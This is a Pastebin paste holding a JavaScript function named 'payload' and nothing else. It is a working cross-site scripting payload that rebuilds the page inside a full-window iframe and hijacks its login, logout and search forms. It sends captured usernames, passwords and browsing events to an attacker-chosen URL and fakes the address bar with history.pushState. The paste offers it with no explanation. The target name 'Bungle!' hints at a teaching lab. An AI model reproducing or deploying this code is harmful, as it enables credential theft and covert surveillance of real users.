Advertisement
Guest User

Untitled

a guest
Oct 7th, 2016
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.87 KB | None | 0 0
  1. function payload(attacker) {
  2. var state = 1
  3. var states = [];
  4. function log(data) {
  5. console.log($.param(data))
  6. $.get(attacker, data);
  7. }
  8. function proxy(href) {
  9. log({event: "nav", uri: href});
  10. }
  11. $("html").hide();
  12. function login(u, p){
  13. log({event: "login", user: u, pass: p});
  14. //history.pushState({s: state}, "Bungle!", "/login");
  15. history.pushState({s: 0}, "Bungle!", "/");
  16. state += 1
  17. states.push("/")
  18. }
  19. function logout(u){
  20. log({event: "logout", user: u});
  21. //history.pushState({s: state}, "Bungle!", "/logout");
  22. history.pushState({s: 0}, "Bungle!", "/");
  23. state += 1
  24. states.push("/")
  25. }
  26. function search(ss, u){
  27. if(u == "")
  28. log({event: "nav", url: "./search?q="+ss});
  29. else
  30. log({event: "nav", user: u, url: "./search?q="+ss});
  31. //history.pushState({s: state}, "Bungle!", "/search?q="+ss);
  32. history.pushState({s: state}, "Bungle!", "/search?q="+ss);
  33. state += 1
  34. states.push("/search?q="+ss)
  35. }
  36. $(function(){
  37. $("body").html("");
  38. var iframe = document.createElement("iframe");
  39. iframe.style.width = "100%";
  40. iframe.style.height = "100%";
  41. iframe.style.position = "absolute";
  42. document.body.appendChild(iframe);
  43. proxy("./");
  44. $("html").show()
  45. iframe.src = "./";
  46. window.onpopstate = function(event){
  47. cs = history.state;
  48. if(history.length == 0) return
  49. var offset = cs.s - state
  50. iframe.contentDocument.location.href = states[cs.s];
  51. //iframe.contentWindow.history.go(-1)
  52. log({event: "nav", uri: states[cs.s]})
  53. state += offset
  54. }
  55. history.pushState({s:state}, "", "/")
  56. states.push("/")
  57.  
  58. iframe.onload = function(){
  59. $("iframe").contents().find("#history-list a:contains(\"iframe\")", this).remove()
  60. $("body", this.contentDocument).one("submit", "form", function(event){
  61. event.preventDefault();
  62. event.stopPropagation();
  63. switch($(this).attr("action")){
  64. case "./login":
  65. login($("#username", this).val(), $("#userpass", this).val());
  66. break;
  67. case "./logout":
  68. logout($("#logged-in-user", this).text());
  69. break;
  70. case "./search":
  71. search($("#query", this).val(), $("iframe").contents().find("#logged-in-user", this).text());
  72. break;
  73. }
  74. $(this).submit();
  75. });
  76. $("iframe").contents().find("#search-again-btn", this).click(function(){
  77. proxy("./")
  78. history.pushState({s: state}, "Bungle!", "/");
  79. state += 1
  80. states.push("/")
  81. })
  82. }
  83. });
  84. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement